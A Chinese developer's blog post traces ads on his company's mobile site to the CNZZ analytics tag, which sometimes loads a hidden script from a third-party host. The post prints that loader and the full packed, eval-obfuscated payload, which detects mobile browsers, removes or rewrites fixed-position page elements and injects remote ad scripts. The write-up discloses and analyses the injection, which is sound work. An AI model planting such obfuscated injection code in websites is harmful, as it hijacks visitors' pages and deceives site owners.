CNZZ后台偷偷跑广告

所在公司的网站手机页面一直有用户反馈带广告,卖车卖神油,追踪了很久没找到原因,直到某天领导发火,才静下心认真去追踪广告代码究竟在哪。
追踪过程记录如下,请参考


一、定位广告位是由js动态添加的

首先第一步,从谷歌浏览器的network中,找到很多广告的链接,加载广告js、css和相关资源,由此确定第一件事,广告是js加载的。


二、排除多余的js

追踪多层包含的js,我司网站的js除却自己写的一部分外,均使用公开的cdn,自己的js一一排查之后,确定没问题,那就是页脚的js了,页脚有几处js,①百度自动提交,②微信分享,③cnzz统计,然后百度去搜索这三个是不是有带广告的情况,CNZZ榜上有名。


三,分析cnzz统计代码。

Cnzz官方给的源码为:
CNZZ官方源码

查看此段代码加载的js代码中有加载http://c.cnzz.com/core.php这个文件:
CNZZ后台偷偷跑广告_第1张图片
到这里还没问题(他这js有问题也看不出来)。


四,找到问题根源。

http://c.cnzz.com/core.php这个,有时候会加载两个
CNZZ后台偷偷跑广告_第2张图片
加载1个的时候,是没有广告的,加载第二个(图中选中蓝色的那个)就是广告源头

(function(){try{var ab="http://c.cnzz.com/core.php?web_id=*********&t=z",d = document;_add=function(s,b){if(window.document.readyState=='loading'){d.write('');}else{var k=d.createElement("script");k.type="text/javascript";k.src=s;k.async=b;var s=d.getElementsByTagName("script")[0];s.parentNode.insertBefore(k,s)}};ab.indexOf("?")>0?ab+="&tcdsp":ab+="?tcdsp";if(!window.self.tmp_ && !(!-[1, ] && !window.XMLHttpRequest)){window.self.tmp_=1;_add('http://m.yiqisee.cn/kaca_js/js/attrAd.js?a=cnzz&a=zz',true);}_add(ab,false);}catch(e){}})();

这段代码中有http://m.yiqisee.cn/kaca_js/js/attrAd.js?a=cnzz&a=zz这个地址,这还是一个js,其源码是加密的,

CNZZ后台偷偷跑广告_第3张图片

解密后的源码很长,就不贴出来了,广告地址已经直接暴露出来了
CNZZ后台偷偷跑广告_第4张图片
这几个地址,都是我这边网站上直接加载广告的源头地址(第一步分析过了)。


五、后记

感兴趣的同学可以百度解密一下这段js就明白了

eval(function(p,a,c,k,e,d){e=function(c){return(c))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(j(){5 Y=u.y(\'c\');5 1q=/d:\\/\\/[\\w]*.(n.8|1U.7)\\/v\\/4\\/[a-26-28-9-21]*.4/;5 p={};Z(5 i=0;i{5 1x=1q.14(Y[i].z);e(1x){5 1E=Y[i].z.M(\'?\')[1];1E.M(\'&\').2f(j(1C,i){5 M=1C.M(\'=\');p[M[0]]=M[1]});x}};27=G(22.23()*10);5 s;2b(p.a){K\'2c\':s=\'d://b.B.7.8/J/C/t/F-I-a.4\';A(\'d://m.q.7.n.8/v/4/1j.4?E=1l&D=N&a=\'+p.a,j(){});A(\'d://m.q.7.n.8/v/4/P.4?D=N&E=1l&a=\'+p.a,j(){});x;K\'14\':s=\'d://b.B.7.8/J/C/t/F-I-a.4\';A(\'d://m.q.7.n.8/v/4/1j.4?E=29&D=N&a=\'+p.a,j(){});A(\'d://m.q.7.n.8/v/4/P.4?D=N&E=1Q&a=\'+p.a,j(){});x;K\'2a\':s=\'d://b.B.7.8/J/C/t/F-I-a.4\';x;K\'24\':s=\'d://b.B.7.8/J/C/t/F-I-a.4\';x;K\'25\':s=\'d://b.B.7.8/J/C/t/F-I-a.4\';A(\'d://m.q.7.n.8/v/4/1j.4?E=1l&D=N&a=\'+p.a,j(){});A(\'d://m.q.7.n.8/v/4/P.4?D=N&E=1Q&a=\'+p.a,j(){});x;K\'2o\':s=\'d://b.B.7.8/J/C/t/F-I-a.4\';A(\'d://m.q.7.n.8/v/4/P.4?D=1T&E=1R&1N=20%1J-1I-1H&a=\'+p.a,j(){});x;K\'2n\':s=\'d://b.B.7.8/J/C/t/F-I-a.4\';A(\'d://m.q.7.n.8/v/4/P.4?D=1T&E=1R&1N=20%1J-1I-1H&a=\'+p.a,j(){});x;2s:s=\'d://b.B.7.8/J/C/t/F-I-a.4\';x};5 18=0;5 17=2r(j(){e(18==30){1X(17)};5 6=u.y(\'2q\');5 1k=/^d:\\/\\/[\\S]+(n.8|1U.7)\\/([\\w]+[21]?[\\w]*\\/?)+[\\S]+/;Z(5 i=0;i<6.T;i++){e(1y()===f){5 g,r,H;e(!6[i].l.g&&6[i].l.g!=\'W\'){5 h=16.1v(6[i]);g=h.g==\'W\'?f:k;r=h.r>=1e?f:k;H=G(h.12)<=0?f:k}L{g=6[i].l.g==\'W\'?f:k;r=6[i].l.r>=1e?f:k;H=6[i].l.12==\'2l\'?f:(6[i].l.12<=0?f:k)};e(6[i].y(\'o\').T>0){e(1k.14(6[i].y(\'o\')[0].z)===f){O}};e(g&&r&&H){6[i].2g();5 13=u.1a(\'c\');13.1c=\'1m/1b\';13.z=\'d://m.q.7.n.8/v/4/t.4?a=\'+p.a;u.y(\'1V\')[0].1Y(13,u.y(\'c\')[0]);5 c=u.1a(\'c\');c.1c=\'1m/1b\';c.z=s;u.y(\'1V\')[0].1Y(c,u.y(\'c\')[0]);1X(17);O}}L{O;5 g,r,11,H,h;5 U=6[i].1n||6[i].2k||G(6[i].l.2i),Q=6[i].15||6[i].2m||G(6[i].l.15);e(!6[i].l.g){h=16.1v(6[i])}L{h=6[i].l};5 X,R;e(h.g==\'W\'){X=G(h.2j);R=G(h.12);11=X>=0?f:k;H=R>=0?f:k}L e(h.g==\'1D\'){X=G(h.2h),R=G(h.2e);11=X<=(16.1n-1w)?f:k;H=R<=(16.15-1s)?f:k};g=(h.g==\'W\'||h.g==\'1D\')?f:k;r=h.r>=1e?f:k;e(g&&r&&11&&H&&(U<=2p&&U>=1w)&&(Q<=2d&&Q>=1s)){5 o=6[i].y(\'o\')[0];e(o){e(o.3m==\'3n\'&&1k.14(o.z)==k){e(!U||U!=1g){6[i].l.1u=\'1r\';o.l.1u=\'1r\'};e(!Q||Q!=1A){6[i].l.1o=\'1p\';o.l.1o=\'1p\'};o.z=\'d://m.q.7.n.8/4/1z.1B\'}}L{6[i].3l=\'<o z="d://m.q.7.n.8/4/1z.1B" 1n="1g" 15="1A" 3j="0" 3k="3r">o>\'}}}};18++},1g);j 1y(){5 1i=1Z 1W(\'2.0 3s\',\'3q\',\'3o\',\'3p\',\'3c\',\'3d\',\'3b\',\'39\',\'3a/3.0\',\'3h\',\'3i\',\'3g\',\'3e/3f\',\'3t\',\'3B\',\'3D\',\'3A\',\'3F/3E\',\'3w-2.0\',\'3u\',\'3z-V\',\'3x\',\'3v\',\'3y 3C\',\'2G\',\'2H\',\'1K 2F\',\'1K 2D\',\'2E\',\'2L 2M\',\'2K\',\'2I\',\'2J\',\'2w-2x-2v\',\'2t\',\'2u\',\'2B 2C\',\'2A\',\'2y-10\',\'1P.2z\',\'1P.2N\',\'1M 32\',\'33\',\'31\',\'2Y\',\'2Z\',\'37\',\'1M 38\',\'36\');5 1d=1Z 1W(\'34 35 2R 2S\');5 1f=1t.2Q.1S();Z(5 i=0;i<1i.T;i++){e(1f.1L(1i[i])>=0){O f}};5 1O=1t.1O.1S();Z(5 i=0;i<1d.T;i++){e(1f.1L(1d[i])>=0){O f}};O k};j A(1F,1h){5 c=u.1a("c");c.1c="1m/1b";e(c.19){c.1G=j(){e(c.19=="2O"||c.19=="2P"){c.1G=2W;1h()}}}L{c.2X=j(){1h()}};c.z=1F;c.2V=f;u.2T.2U(c)}})();',62,228,'||||js|var|divs|com|cn||||script|http|if|true|position|cls||function|false|style||yiqisee|iframe|query|baidu|zIndex|ad||document|kaca_js||break|getElementsByTagName|src|loadScript|feih|sy23|cm|cp|mccc|parseInt|isBottom|tc|admob|case|else|split|1019146a|return|backEn|divH|divB||length|divW||fixed|divR|scripts|for||isRight|bottom|sc|test|height|window|timer|nums|readyState|createElement|javascript|type|pda_app_name_list|999|user_agent|300|callback|pda_user_agent_list|replaceBaiduAdLink|srcExp|92682067_hao_pg|text|width|maxHeight|250px|scriptRegExp|300px|230|navigator|maxWidth|getComputedStyle|280|isTrue|checkMobile|D8dn8DNga_300x250_fwdtx|250|html|val|absolute|queryStr|url|onreadystatechange|e44e875c12109e4f|mobb|3dsogou|Opera|indexOf|Windows|cs|appName|UP|90342190_hao_pg|92364735_hao_pg|toString|1019998h|vveizi|head|Array|clearInterval|insertBefore|new|bid|_|Math|random|nj2|sxxa|zA|randNum|Z0|91603759_hao_pg|nj1|switch|local|270|top|forEach|remove|left|windth|right|clientWidth|0px|clientHeight|hljheb2|hljheb|320|div|setInterval|default|Small|SonyEricsson|GX10|SHARP|TQ|TS21i|Browser|SymbianOS|Symbian|OS|Mobi|Palm|Mini|Nitro|Nokia|Proxinet|ProxiNet|portalmmm|Playstation|Portable|Link|loaded|complete|userAgent|Internet|Explorer|body|appendChild|async|null|onload|iPhone|iPod||Android|CE|WinWAP|Microsoft|Pocket|HTC|iPad|Phone|DoCoMo|Elaine|Danger|Blazer|Cellphone|KYOCERA|WX310K|IEMobile|EudoraWeb|hiptop|frameborder|scrolling|innerHTML|tagName|IFRAME|AvantGo|BlackBerry|240320|no|MMP|KFTHWI|MMEF20|Newt|MIDP|NetFront|Nintendo|MOT|BB10|KFAPWI|Wii|PlayBook|U990|LG'.split('|'),0,{}))

我一直怀疑是我的技术能力不够,甚至追踪到这儿还在想是不是哪儿有问题,欢迎同学来留言批评指正。

你可能感兴趣的:(程序设计)